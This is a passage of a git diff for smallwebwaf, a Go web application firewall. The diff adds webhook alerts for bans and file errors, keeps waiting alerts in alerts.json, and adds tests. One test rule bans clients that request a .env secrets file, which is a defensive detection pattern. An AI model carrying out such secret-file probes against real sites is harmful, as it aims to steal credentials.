params.Alerts, } m.AddBansAndClients(h.ledger, h.limiter, params.Now) m.AddRules(params.Rules) @@ -150,6 +156,7 @@ type handler struct { ledger *bans.Ledger geojs *lookup.GeoJS rules *rules.Files + alerts *alerts.Queue } // newTransport returns what carries requests to the app. It never goes diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 11fca3b..e47ed89 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -14,6 +14,7 @@ import ( "testing" "time" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/requestlog" @@ -223,6 +224,20 @@ func startProxyWithClock( ) (string, *output, *proxy.Server) { t.Helper() + addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env) + + return addr, out, server +} + +// startProxyWithAlerts is startProxyWithClock, and returns the queue of +// the alerts the proxy raises as well, as the settings in env make it. No +// alert is sent from it: they wait in it, for the test to look at. +func startProxyWithAlerts( + t *testing.T, appURL, geojsURL string, now func() time.Time, + env map[string]string, +) (string, *output, *proxy.Server, *alerts.Queue) { + t.Helper() + settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir()} maps.Copy(settings, env) @@ -245,6 +260,16 @@ func startProxyWithClock( t.Fatalf("rule files: %v", err) } + alertQueue := alerts.New(alerts.Params{ + WebhookURL: cfg.AlertWebhookURL, + Events: cfg.AlertEvents, + Cooldown: cfg.AlertCooldown, + MaxPerHour: cfg.AlertMaxPerHour, + Instance: cfg.InstanceName, + Now: now, + ProcessLog: processLog, + }) + server := proxy.New(proxy.Params{ Config: cfg, RequestLog: out, @@ -252,6 +277,7 @@ func startProxyWithClock( GeoJSURL: geojsURL, Now: now, Rules: ruleFiles, + Alerts: alertQueue, }) listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") @@ -267,7 +293,7 @@ func startProxyWithClock( _ = server.Close() }) - return listener.Addr().String(), out, server + return listener.Addr().String(), out, server, alertQueue } // newClient returns an HTTP client that sends requests as they are made, diff --git a/internal/proxy/rules.go b/internal/proxy/rules.go index f91765e..b4d6f24 100644 --- a/internal/proxy/rules.go +++ b/internal/proxy/rules.go @@ -10,8 +10,9 @@ import ( // checkRules checks the request against the rules of the rule files at // now, notes the ids of those it matches in the log line, and returns the // action of the rule that refuses it, ActionRuleBlocked for a block rule -// and ActionBanned for a ban rule, or "" when none does. In enforce mode -// a ban rule bans the client's netblock for a clear sign of attack. +// and ActionBanned for a ban rule, or "" when none does. A ban rule bans +// the client's netblock for a clear sign of attack, or in observe mode +// raises the alert for the ban it would have made. func (rq *request) checkRules(now time.Time) string { matched := rq.h.rules.Match(rq.in) @@ -29,9 +30,7 @@ func (rq *request) checkRules(now time.Time) string { case rules.ActionBlock: return requestlog.ActionRuleBlocked case rules.ActionBan: - if !rq.h.config.Observe { - rq.banForAttack(now, last) - } + rq.banForAttack(now, last) return requestlog.ActionBanned default: diff --git a/internal/rules/rules.go b/internal/rules/rules.go index 1867dfd..f6f553c 100644 --- a/internal/rules/rules.go +++ b/internal/rules/rules.go @@ -22,6 +22,7 @@ import ( "github.com/fsnotify/fsnotify" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/config" ) @@ -100,6 +101,8 @@ type Params struct { // ProcessLog receives how many rules were read, and the error in a // rule file edited while smallwebwaf runs. ProcessLog *slog.Logger + // Alerts receive a file_error alert for that error. + Alerts *alerts.Queue } // Files are the rule files of a running smallwebwaf, and the rules read @@ -126,7 +129,7 @@ func Load(params Params) (*Files, error) { return f, nil } - rules, err := read(params.Dir) + rules, _, err := read(params.Dir) if err != nil { return nil, err } @@ -223,13 +226,21 @@ func (f *Files) readAfterChanges( } // readAgain reads the rule files again, in place of the rules loaded, or -// logs the error that keeps the rules as they were. +// logs the error that keeps the rules as they were, and raises a +// file_error alert for it, for the file it is in. func (f *Files) readAgain() { - rules, err := read(f.params.Dir) + rules, path, err := read(f.params.Dir) if err != nil { - f.params.ProcessLog.Error( - "a rule file has an error, and the rules stay as they were", - "error", err.Error()) + const kept = "a rule file has an error, and the rules stay as they were" + + // Raised before it is logged, so that the alert is there once the + // log line is. + f.params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventFileError, + Reason: kept, + Detail: map[string]any{"file": path, "error": err.Error()}, + }) + f.params.ProcessLog.Error(kept, "error", err.Error()) return } @@ -246,13 +257,14 @@ func (f *Files) logRead(count int) { } // read returns the rules of every rule file in dir, in the order of the -// files' names, and then of their lines. A file whose name starts with a -// dot, such as an editor's lock file .#50-app.rules, is not a rule file, -// as a shell's *.rules would not match it. -func read(dir string) ([]Rule, error) { +// files' names, and then of their lines, or an error, with the path of the +// rule file it is in, or dir. A file whose name starts with a dot, such as +// an editor's lock file .#50-app.rules, is not a rule file, as a shell's +// *.rules would not match it. +func read(dir string) ([]Rule, string, error) { entries, err := os.ReadDir(dir) if err != nil { - return nil, fmt.Errorf("SWWAF_RULES_DIR cannot be read: %w", err) + return nil, dir, fmt.Errorf("SWWAF_RULES_DIR cannot be read: %w", err) } var rules []Rule @@ -266,13 +278,15 @@ func read(dir string) ([]Rule, error) { continue } - rules, err = readFile(filepath.Join(dir, name), rules, places) + path := filepath.Join(dir, name) + + rules, err = readFile(path, rules, places) if err != nil { - return nil, err + return nil, path, err } } - return rules, nil + return rules, "", nil } // readFile appends the rules of the rule file at path to rules. places diff --git a/internal/rules/rules_test.go b/internal/rules/rules_test.go index b43f0e4..b5ad8fa 100644 --- a/internal/rules/rules_test.go +++ b/internal/rules/rules_test.go @@ -7,12 +7,15 @@ import ( "maps" "net/http" "net/http/httptest" + "net/url" "os" "path/filepath" "slices" "strconv" "testing" + "time" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/rules" ) @@ -337,7 +340,7 @@ func TestEditsTakenInWhileRunning(t *testing.T) { t.Parallel() dir := writeFiles(t, ruleFiles{firstFile: "first path block ^/first\n"}) - files, lines := watch(t, dir) + files, lines, _ := watch(t, dir) // matches reports whether path matches a rule. matches := func(path string) bool { return len(files.Match(get(t, path))) == 1 } @@ -366,7 +369,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) { t.Parallel() dir := writeFiles(t, ruleFiles{firstFile: "first path block ^/first\n"}) - files, lines := watch(t, dir) + files, lines, queue := watch(t, dir) // The edit's second line has an unknown action, so the rules stay as // they were, the first line's earlier version included. @@ -380,13 +383,27 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) { t.Errorf("logged %v, want an error %q", line, want) } + // The error is raised as a file_error alert too, for the file. + wantFileError := func() { + t.Helper() + + waiting := queue.Snapshot().Waiting + if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || + waiting[0].Reason != hasError || waiting[0].Detail["error"] != want || + waiting[0].Detail["file"] != filepath.Join(dir, firstFile) { + t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want) + } + } + wantFileError() + wantMatched(t, files, get(t, "/first"), "first") wantMatched(t, files, get(t, "/second")) - // Once mended, the file is read again. + // Once mended, the file is read again, and raises no alert. save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n") lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 }) wantMatched(t, files, get(t, "/edited"), "first") + wantFileError() } func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) { @@ -504,7 +521,8 @@ func save(t *testing.T, dir, name, content string) { } // newParams returns Params for the rule files in dir, switched on, with -// the process log in the processLog returned. +// the process log in the processLog returned, and the alerts waiting in a +// queue for a webhook that is never sent them. func newParams(dir string) (rules.Params, processLog) { lines := make(processLog, maxLogLines) @@ -512,6 +530,12 @@ func newParams(dir string) (rules.Params, processLog) { Dir: dir, Enabled: true, ProcessLog: slog.New(slog.NewJSONHandler(lines, nil)), + Alerts: alerts.New(alerts.Params{ + WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, + Events: alerts.Events(), + Cooldown: 15 * time.Minute, + Now: time.Now, + }), }, lines } @@ -531,8 +555,9 @@ func load(t *testing.T, files ruleFiles) *rules.Files { } // watch loads the rules in dir, runs their Watch until the test ends, and -// waits until it watches the directory. -func watch(t *testing.T, dir string) (*rules.Files, processLog) { +// waits until it watches the directory. It returns the alerts' queue as +// well. +func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) { t.Helper() params, lines := newParams(dir) @@ -557,7 +582,7 @@ func watch(t *testing.T, dir string) (*rules.Files, processLog) { lines.waitFor(t, watching) - return files, lines + return files, lines, params.Alerts } // wantRefused checks that loading the rule files in dir fails with the diff --git a/internal/rules/watch_internal_test.go b/internal/rules/watch_internal_test.go index 8ef8dde..a71b08b 100644 --- a/internal/rules/watch_internal_test.go +++ b/internal/rules/watch_internal_test.go @@ -13,6 +13,8 @@ import ( "time" "github.com/fsnotify/fsnotify" + + "sneak.berlin/go/smallwebwaf/internal/alerts" ) // The tests below run readAfterChanges in a synctest bubble, where time is @@ -91,6 +93,7 @@ func load(t *testing.T, dir string) *Files { files, err := Load(Params{ Dir: dir, Enabled: true, ProcessLog: slog.New(slog.DiscardHandler), + Alerts: alerts.New(alerts.Params{}), }) if err != nil { t.Fatalf("load: %v", err) diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index d39cf59..765eb2b 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -15,6 +15,7 @@ import ( "syscall" "time" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" @@ -91,10 +92,16 @@ func Run(ctx context.Context, params Params) int { defer stopSending() } + // The state files and the alerts give times in UTC. + now := func() time.Time { return time.Now().UTC() } + + alertQueue := newAlertQueue(cfg, now, processLog) + ruleFiles, err := rules.Load(rules.Params{ Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, + Alerts: alertQueue, }) if err != nil { processLog.Error("cannot use the rule files", "error", err.Error()) @@ -102,9 +109,6 @@ func Run(ctx context.Context, params Params) int { return 1 } - // The state files give times in UTC. - now := func() time.Time { return time.Now().UTC() } - server := proxy.New(proxy.Params{ Config: cfg, RequestLog: stdout, @@ -112,22 +116,17 @@ func Run(ctx context.Context, params Params) int { GeoJSURL: lookup.URL, Now: now, Rules: ruleFiles, + Alerts: alertQueue, }) if remote != nil { server.Metrics.AddRemoteLog(remote) } - files, err := state.Load(state.Params{ - Dir: cfg.StateDir, - WriteDelay: cfg.StateWriteDelay, - CounterInterval: cfg.StateCounterInterval, - Ledger: server.Ledger, - Limiter: server.Limiter, - GeoJS: server.GeoJS, - Now: now, - ProcessLog: processLog, - Metrics: server.Metrics, - }) + if cfg.AlertWebhookURL != nil { + server.Metrics.AddAlerts(alertQueue) + } + + files, err := loadStateFiles(cfg, server, alertQueue, now, processLog) if err != nil { processLog.Error("cannot use the state files", "error", err.Error()) @@ -147,7 +146,44 @@ func Run(ctx context.Context, params Params) int { "address", listener.Addr().String(), "settings", cfg) - return serve(ctx, server.Server, listener, files, ruleFiles, processLog) + return serve(ctx, server.Server, listener, files, ruleFiles, alertQueue, processLog) +} + +// loadStateFiles reads the state files into the parts of server and into +// alertQueue, as state.Load does. +func loadStateFiles( + cfg *config.Config, server *proxy.Server, alertQueue *alerts.Queue, + now func() time.Time, processLog *slog.Logger, +) (*state.Files, error) { + return state.Load(state.Params{ + Dir: cfg.StateDir, + WriteDelay: cfg.StateWriteDelay, + CounterInterval: cfg.StateCounterInterval, + Ledger: server.Ledger, + Limiter: server.Limiter, + GeoJS: server.GeoJS, + Alerts: alertQueue, + Now: now, + ProcessLog: processLog, + Metrics: server.Metrics, + }) +} + +// newAlertQueue returns the queue of the alerts to SWWAF_ALERT_WEBHOOK_URL, +// with the settings for it. +func newAlertQueue( + cfg *config.Config, now func() time.Time, processLog *slog.Logger, +) *alerts.Queue { + return alerts.New(alerts.Params{ + WebhookURL: cfg.AlertWebhookURL, + WebhookHeaders: cfg.AlertWebhookHeaders, + Events: cfg.AlertEvents, + Cooldown: cfg.AlertCooldown, + MaxPerHour: cfg.AlertMaxPerHour, + Instance: cfg.InstanceName, + Now: now, + ProcessLog: processLog, + }) } // newRemoteLogSender returns a sender of the log lines to @@ -188,12 +224,14 @@ func startSending( } // serve serves requests on listener, writes the state files as they are -// due, takes in an admin's edits of them, and reads the rule files again -// as they change, until ctx is done. Then it gives the requests in -// progress shutdownTimeout to finish, and writes every state file. +// due, takes in an admin's edits of them, reads the rule files again as +// they change, and sends the alerts, until ctx is done. Then it gives the +// requests in progress shutdownTimeout to finish, and writes every state +// file, alerts.json with the alerts still waiting. func serve( ctx context.Context, server *http.Server, listener net.Listener, - files *state.Files, ruleFiles *rules.Files, processLog *slog.Logger, + files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue, + processLog *slog.Logger, ) int { served := make(chan error, 1) @@ -204,24 +242,10 @@ func serve( writing, stopWriting := context.WithCancel(ctx) defer stopWriting() - written := make(chan struct{}) - watched := make(chan struct{}) - rulesWatched := make(chan struct{}) - - go func() { - files.Run(writing) - close(written) - }() - - go func() { - files.Watch(writing) - close(watched) - }() - - go func() { - ruleFiles.Watch(writing) - close(rulesWatched) - }() + written := inBackground(func() { files.Run(writing) }) + watched := inBackground(func() { files.Watch(writing) }) + rulesWatched := inBackground(func() { ruleFiles.Watch(writing) }) + alertsSent := inBackground(func() { alertQueue.Run(writing) }) select { case err := <-served: @@ -253,7 +277,8 @@ func serve( } // Run and Watch have ended, so nothing else reads or writes the - // files. Every request has ended too, but for two kinds + // files, and no alert is being sent, so that alerts.json keeps every + // alert not yet sent. Every request has ended too, but for two kinds // that Go's server does not wait for: one cut off because Shutdown // timed out, and one whose connection switched protocols, such as a // WebSocket. Such a request adds to its client's history only as it @@ -262,6 +287,7 @@ func serve( <-written <-watched <-rulesWatched + <-alertsSent err = files.WriteAll() if err != nil { @@ -274,3 +300,16 @@ func serve( return 0 } + +// inBackground runs task on a goroutine of its own, and returns a channel +// that is closed once task has returned. +func inBackground(task func()) <-chan struct{} { + done := make(chan struct{}) + + go func() { + task() + close(done) + }() + + return done +} diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index eced76a..eb14265 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -14,6 +14,7 @@ import ( "strconv" "strings" "sync" + "sync/atomic" "testing" "time" @@ -547,6 +548,97 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { out.line(t, "type", "request") } +func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { + t.Parallel() + + webhook := startWebhook(t) + rules := t.TempDir() + + err := os.WriteFile(filepath.Join(rules, "50-app.rules"), + []byte(`probe path ban ^/\.env$`+"\n"), 0o600) + if err != nil { + t.Fatalf("write the rule file: %v", err) + } + + dir := t.TempDir() + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: dir, + rulesDir: rules, + "SWWAF_ALERT_WEBHOOK_URL": webhook.url, + "SWWAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret, + } + + runUntilStopped(t, env, func(url string) { + // The probe bans the client, and the webhook is sent the alert. + wantRefused(t, url+".env") + + post := webhook.waitFor(t, "ban", true) + if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" || + post.authorization != "Bearer "+adminSecret { + t.Errorf("the webhook was sent %v, with Authorization %q", post.alert, + post.authorization) + } + + // The webhook fails, so the alert for the ban made permanent by the + // client's next request waits. + webhook.failing.Store(true) + wantRefused(t, url) + webhook.waitFor(t, "permanent_ban", false) + }) + + // alerts.json keeps it as smallwebwaf stops, and once started again, + // smallwebwaf sends it. + var file struct { + Waiting []struct { + Event string `json:"event"` + } `json:"waiting"` + } + + path := filepath.Join(dir, "alerts.json") + + data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory + if err == nil { + err = json.Unmarshal(data, &file) + } + + if err != nil || len(file.Waiting) != 1 || file.Waiting[0].Event != "permanent_ban" { + t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting", data, err) + } + + // It counts the alert sent in the metrics, read here from a client the + // ban does not cover. + const token = "0123456789abcdef0123456789abcdef" + + webhook.failing.Store(false) + + env["SWWAF_ALLOW_NETS"] = localhost + env["SWWAF_METRICS_TOKEN"] = token + + runUntilStopped(t, env, func(url string) { + webhook.waitFor(t, "permanent_ban", true) + + // As long as that takes, so that a slow test process cannot fail + // the test. + const sent = "\nsmallwebwaf_alerts_sent_total{destination=\"webhook\"} 1\n" + + metrics := metricsText(t, url+"_smallwebwaf/metrics", token) + for !strings.Contains(metrics, sent) { + time.Sleep(pollInterval) + + metrics = metricsText(t, url+"_smallwebwaf/metrics", token) + } + + for _, series := range []string{"failed", "suppressed", "dropped"} { + zero := "\nsmallwebwaf_alerts_" + series + "_total{destination=\"webhook\"} 0\n" + if !strings.Contains(metrics, zero) { + t.Errorf("no %q in the metrics:\n%s", zero, metrics) + } + } + }) +} + func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) { t.Parallel() @@ -917,6 +1009,80 @@ func saveUntilAnswered(t *testing.T, path, content, url, from string, status int } } +// webhook is a stand-in for SWWAF_ALERT_WEBHOOK_URL. It notes each alert +// it is sent, and answers 204, or 503 while failing. +type webhook struct { + url string + failing atomic.Bool + + mu sync.Mutex + posts []webhookPost +} + +// webhookPost is an alert the webhook was sent, with the Authorization +// header sent with it, and whether the webhook took it. +type webhookPost struct { + alert map[string]any + authorization string + answered bool +} + +// startWebhook starts a webhook that takes every alert. +func startWebhook(t *testing.T) *webhook { + t.Helper() + + w := &webhook{} + server := httptest.NewServer(http.HandlerFunc( + func(rw http.ResponseWriter, r *http.Request) { + var alert map[string]any + + _ = json.NewDecoder(r.Body).Decode(&alert) + failing := w.failing.Load() + + w.mu.Lock() + w.posts = append(w.posts, webhookPost{ + alert: alert, authorization: r.Header.Get("Authorization"), + answered: !failing, + }) + w.mu.Unlock() + + if failing { + rw.WriteHeader(http.StatusServiceUnavailable) + + return + } + + rw.WriteHeader(http.StatusNoContent) + })) + t.Cleanup(server.Close) + + w.url = server.URL + "/alerts" + + return w +} + +// waitFor waits until the webhook has been sent an alert for event that +// it took, or, unless answered, failed, and returns it. It waits as long +// as that takes, so that a slow test process cannot fail the test. +func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost { + t.Helper() + + for { + w.mu.Lock() + + for _, post := range w.posts { + if post.alert["event"] == event && post.answered == answered { + w.mu.Unlock() + + return post + } + } + + w.mu.Unlock() + time.Sleep(pollInterval) + } +} + // statusFrom returns the status a request to url from the client at // from, as X-Forwarded-For names it, is answered with. func statusFrom(t *testing.T, url, from string) int { diff --git a/internal/state/state.go b/internal/state/state.go index 7c5fbe8..ac936a4 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -1,7 +1,8 @@ // Package state keeps smallwebwaf's state in JSON files in // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // bans.json holds the bans, clients.json each client's counters and -// history, and lookups.json GeoJS's answers. Load reads them at start, +// history, lookups.json GeoJS's answers, and alerts.json the cooldowns, +// the hour under way and the alerts waiting. Load reads them at start, // Watch takes in an admin's edit of one while smallwebwaf runs, and Run // and WriteAll write them. The disk is read and written outside the // parts' locks, which are held only to take a snapshot or to put in what @@ -24,6 +25,7 @@ import ( "time" "github.com/fsnotify/fsnotify" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" @@ -42,6 +44,7 @@ const ( bansJSON = "bans.json" clientsJSON = "clients.json" lookupsJSON = "lookups.json" + alertsJSON = "alerts.json" ) var ( @@ -60,10 +63,13 @@ type Params struct { // is (SWWAF_STATE_COUNTER_INTERVAL). WriteDelay time.Duration CounterInterval time.Duration - // Ledger, Limiter and GeoJS hold the state. + // Ledger, Limiter, GeoJS and Alerts hold the state. Alerts also + // receive a file_error alert for an edit set aside, and for a write + // that fails while smallwebwaf runs. Ledger *bans.Ledger Limiter *ratelimit.Limiter GeoJS *lookup.GeoJS + Alerts *alerts.Queue // Now tells the time by which the counters' buckets run out, normally // time.Now in UTC. Now func() time.Time @@ -121,6 +127,14 @@ type lookupsFile struct { Lookups []lookup.Answer `json:"lookups"` } +// alertsFile is alerts.json, indented for an admin to read and edit. +type alertsFile struct { + Version int `json:"version"` + Cooldowns []alerts.Cooldown `json:"cooldowns"` + Hour alerts.Hour `json:"hour"` + Waiting []alerts.Alert `json:"waiting"` +} + // stateFile is the struct of a state file. Once the file is decoded, its // check refuses the first entry without a field it needs, which would // otherwise be read as something the entry does not say. data is the @@ -147,23 +161,25 @@ func Load(params Params) (*Files, error) { bansRead, bansErr := f.read(bansJSON) clientsRead, clientsErr := f.read(clientsJSON) lookupsRead, lookupsErr := f.read(lookupsJSON) + alertsRead, alertsErr := f.read(alertsJSON) - err = errors.Join(bansErr, clientsErr, lookupsErr) + err = errors.Join(bansErr, clientsErr, lookupsErr, alertsErr) if err != nil { return nil, err } params.ProcessLog.Info("read the state files", "directory", params.Dir, - "bans", bansRead, "clients", clientsRead, "lookups", lookupsRead) + "bans", bansRead, "clients", clientsRead, "lookups", lookupsRead, + "alerts_waiting", alertsRead) return f, nil } // Run writes bans.json WriteDelay after a ban is made, with every ban // made in between, and every file every CounterInterval, until ctx is -// done. A write that fails is logged, and the file is written again at -// its next write. Each write takes in an admin's edit of its file first, -// as writeFile describes. +// done. A write that fails is logged, raised as a file_error alert, and +// the file is written again at its next write. Each write takes in an +// admin's edit of its file first, as writeFile describes. func (f *Files) Run(ctx context.Context) { interval := time.NewTicker(f.params.CounterInterval) defer interval.Stop() @@ -181,9 +197,11 @@ func (f *Files) Run(ctx context.Context) { case <-bansDue: bansDue = nil - f.logFailure(f.writeFile(bansJSON)) + f.logFailure(bansJSON, f.writeFile(bansJSON)) case <-interval.C: - f.logFailure(f.WriteAll()) + for _, name := range []string{bansJSON, clientsJSON, lookupsJSON, alertsJSON} { + f.logFailure(name, f.writeFile(name)) + } } } } @@ -192,7 +210,7 @@ func (f *Files) Run(ctx context.Context) { // fails does not keep the others from being written. func (f *Files) WriteAll() error { return errors.Join(f.writeFile(bansJSON), f.writeFile(clientsJSON), - f.writeFile(lookupsJSON)) + f.writeFile(lookupsJSON), f.writeFile(alertsJSON)) } // Watch watches Dir until ctx is done, and takes in an admin's edit of a @@ -227,7 +245,7 @@ func (f *Files) Watch(ctx context.Context) { return case event := <-watcher.Events: switch name := filepath.Base(event.Name); name { - case bansJSON, clientsJSON, lookupsJSON: + case bansJSON, clientsJSON, lookupsJSON, alertsJSON: f.fileChanged(name) } case err = <-watcher.Errors: @@ -237,11 +255,22 @@ func (f *Files) Watch(ctx context.Context) { } } -// logFailure logs a write that failed. -func (f *Files) logFailure(err error) { +// logFailure logs a write of the state file name that failed, and raises +// a file_error alert for it. +func (f *Files) logFailure(name string, err error) { if err != nil { - f.params.ProcessLog.Error("writing the state files failed", - "error", err.Error()) + const failed = "writing the state files failed" + + // Raised before it is logged, so that the alert is there once the + // log line is. + f.params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventFileError, + Reason: failed, + Detail: map[string]any{ + "file": filepath.Join(f.params.Dir, name), "error": err.Error(), + }, + }) + f.params.ProcessLog.Error(failed, "error", err.Error()) } } @@ -362,6 +391,18 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { f.params.GeoJS.Load(file.Lookups) entries = len(file.Lookups) + case alertsJSON: + var file alertsFile + + err := parse(path, data, &file) + if err != nil { + return 0, err + } + + f.params.Alerts.Load(alerts.State{ + Cooldowns: file.Cooldowns, Hour: file.Hour, Waiting: file.Waiting, + }) + entries = len(file.Waiting) } f.sums[name] = sha256.Sum256(data) @@ -413,8 +454,9 @@ func (f *Files) writeFile(name string) error { // setAside renames the state file name, an edit that does not parse with // parseErr, to name.bad, for the admin to mend, and logs it with where in -// the file the error is. If the rename fails, the edit is left as it is, -// and the error returned is parseErr joined with the rename's. +// the file the error is, and raises a file_error alert for it. If the +// rename fails, the edit is left as it is, and the error returned is +// parseErr joined with the rename's. func (f *Files) setAside(name string, parseErr error) error { path := filepath.Join(f.params.Dir, name) @@ -423,8 +465,16 @@ func (f *Files) setAside(name string, parseErr error) error { return errors.Join(parseErr, err) } - f.params.ProcessLog.Error("set aside an edit of a state file that does not parse", - "file", path+".bad", "error", parseErr.Error()) + const setAside = "set aside an edit of a state file that does not parse" + + // Raised before it is logged, so that the alert is there once the log + // line is. + f.params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventFileError, + Reason: setAside, + Detail: map[string]any{"file": path + ".bad", "error": parseErr.Error()}, + }) + f.params.ProcessLog.Error(setAside, "file", path+".bad", "error", parseErr.Error()) f.params.Metrics.StateFileEditSetAside(name) return nil @@ -445,8 +495,21 @@ func (f *Files) encode(name string) ([]byte, error) { return append(data, '\n'), nil case clientsJSON: return encodeOnePerLine("clients", f.params.Limiter.Snapshot()) - default: // lookups.json + case lookupsJSON: return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) + default: // alerts.json + held := f.params.Alerts.Snapshot() + file := alertsFile{ + Version: version, Cooldowns: held.Cooldowns, Hour: held.Hour, + Waiting: held.Waiting, + } + + data, err := json.MarshalIndent(file, "", " ") + if err != nil { + return nil, err + } + + return append(data, '\n'), nil } } @@ -581,6 +644,31 @@ func (f *lookupsFile) check(data []byte) error { return nil } +// check refuses a cooldown without its event or when its alert was sent, +// which would hold back no repeat, and an alert waiting without its event +// or its time. +func (f *alertsFile) check([]byte) error { + for i, cooldown := range f.Cooldowns { + switch { + case cooldown.Event == "": + return fmt.Errorf("cooldowns %w", missing(i, "event")) + case cooldown.Sent.IsZero(): + return fmt.Errorf("cooldowns %w", missing(i, "sent")) + } + } + + for i, alert := range f.Waiting { + switch { + case alert.Event == "": + return fmt.Errorf("waiting %w", missing(i, "event")) + case alert.Time.IsZero(): + return fmt.Errorf("waiting %w", missing(i, "time")) + } + } + + return nil +} + // countsWithoutStart reports whether b holds requests but no start, which // places them in time. func countsWithoutStart(b ratelimit.Buckets) bool { diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 3febdc0..dc2323d 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -10,8 +10,10 @@ import ( "net/http" "net/http/httptest" "net/netip" + "net/url" "os" "path/filepath" + "reflect" "slices" "strconv" "strings" @@ -19,6 +21,7 @@ import ( "testing/synctest" "time" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" @@ -31,6 +34,7 @@ const ( bansJSON = "bans.json" clientsJSON = "clients.json" lookupsJSON = "lookups.json" + alertsJSON = "alerts.json" // What the process log says once Watch watches the directory, and as // it takes in an edit. watching = "watching the state files for edits" @@ -85,6 +89,67 @@ const liftedBansJSON = `{"version": 1, "bans": [{"netblock": "203.0.113.9/32", ` `"start": "2026-10-06T00:00:00Z", "expires": "2026-10-06T01:00:00Z", ` + `"cause": "limit", "lifted": "2026-10-06T00:10:00Z"}]}` +// filledAlertsJSON is alerts.json holding the alerts of fill. +const filledAlertsJSON = `{ + "version": 1, + "cooldowns": [ + { + "event": "file_error", + "netblock": "", + "file": "/var/lib/smallwebwaf/bans.json", + "sent": "2026-10-06T00:00:00Z", + "suppressed_repeats": 0 + }, + { + "event": "ban", + "netblock": "203.0.113.9/32", + "sent": "2026-10-06T00:00:00Z", + "suppressed_repeats": 1 + } + ], + "hour": { + "start": "2026-10-06T00:00:00Z", + "sent": 2, + "held_back": { + "source_failure": 1 + } + }, + "waiting": [ + { + "instance": "fsn1app1/gitea", + "time": "2026-10-06T00:00:00Z", + "event": "ban", + "client": "203.0.113.9", + "netblock": "203.0.113.9/32", + "asn": "", + "as_name": "", + "country": "DE", + "reason": "requests per minute over the limit of 1", + "detail": { + "cause": "limit" + }, + "suppressed_repeats": 0 + }, + { + "instance": "fsn1app1/gitea", + "time": "2026-10-06T00:00:00Z", + "event": "file_error", + "client": "", + "netblock": "", + "asn": "", + "as_name": "", + "country": "", + "reason": "writing the state files failed", + "detail": { + "error": "no space left on device", + "file": "/var/lib/smallwebwaf/bans.json" + }, + "suppressed_repeats": 0 + } + ] +} +` + func TestFilesWrittenAndReadBack(t *testing.T) { t.Parallel() @@ -111,13 +176,69 @@ func TestFilesWrittenAndReadBack(t *testing.T) { wantEqual(t, clientsJSON, after.Limiter.Snapshot(), before.Limiter.Snapshot()) wantEqual(t, lookupsJSON, after.GeoJS.Snapshot(), before.GeoJS.Snapshot()) + if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual( + got, want) { + t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want) + } + // Each one-per-line file lists its entries by client, and nothing - // but the three files is left in the directory. + // but the four files is left in the directory. wantEntries(t, filepath.Join(dir, clientsJSON), "clients", "192.0.2.1/32", "203.0.113.9/32", "2001:db8::/64") wantEntries(t, filepath.Join(dir, lookupsJSON), "lookups", "192.0.2.1/32", "203.0.113.9/32") - wantFiles(t, dir, 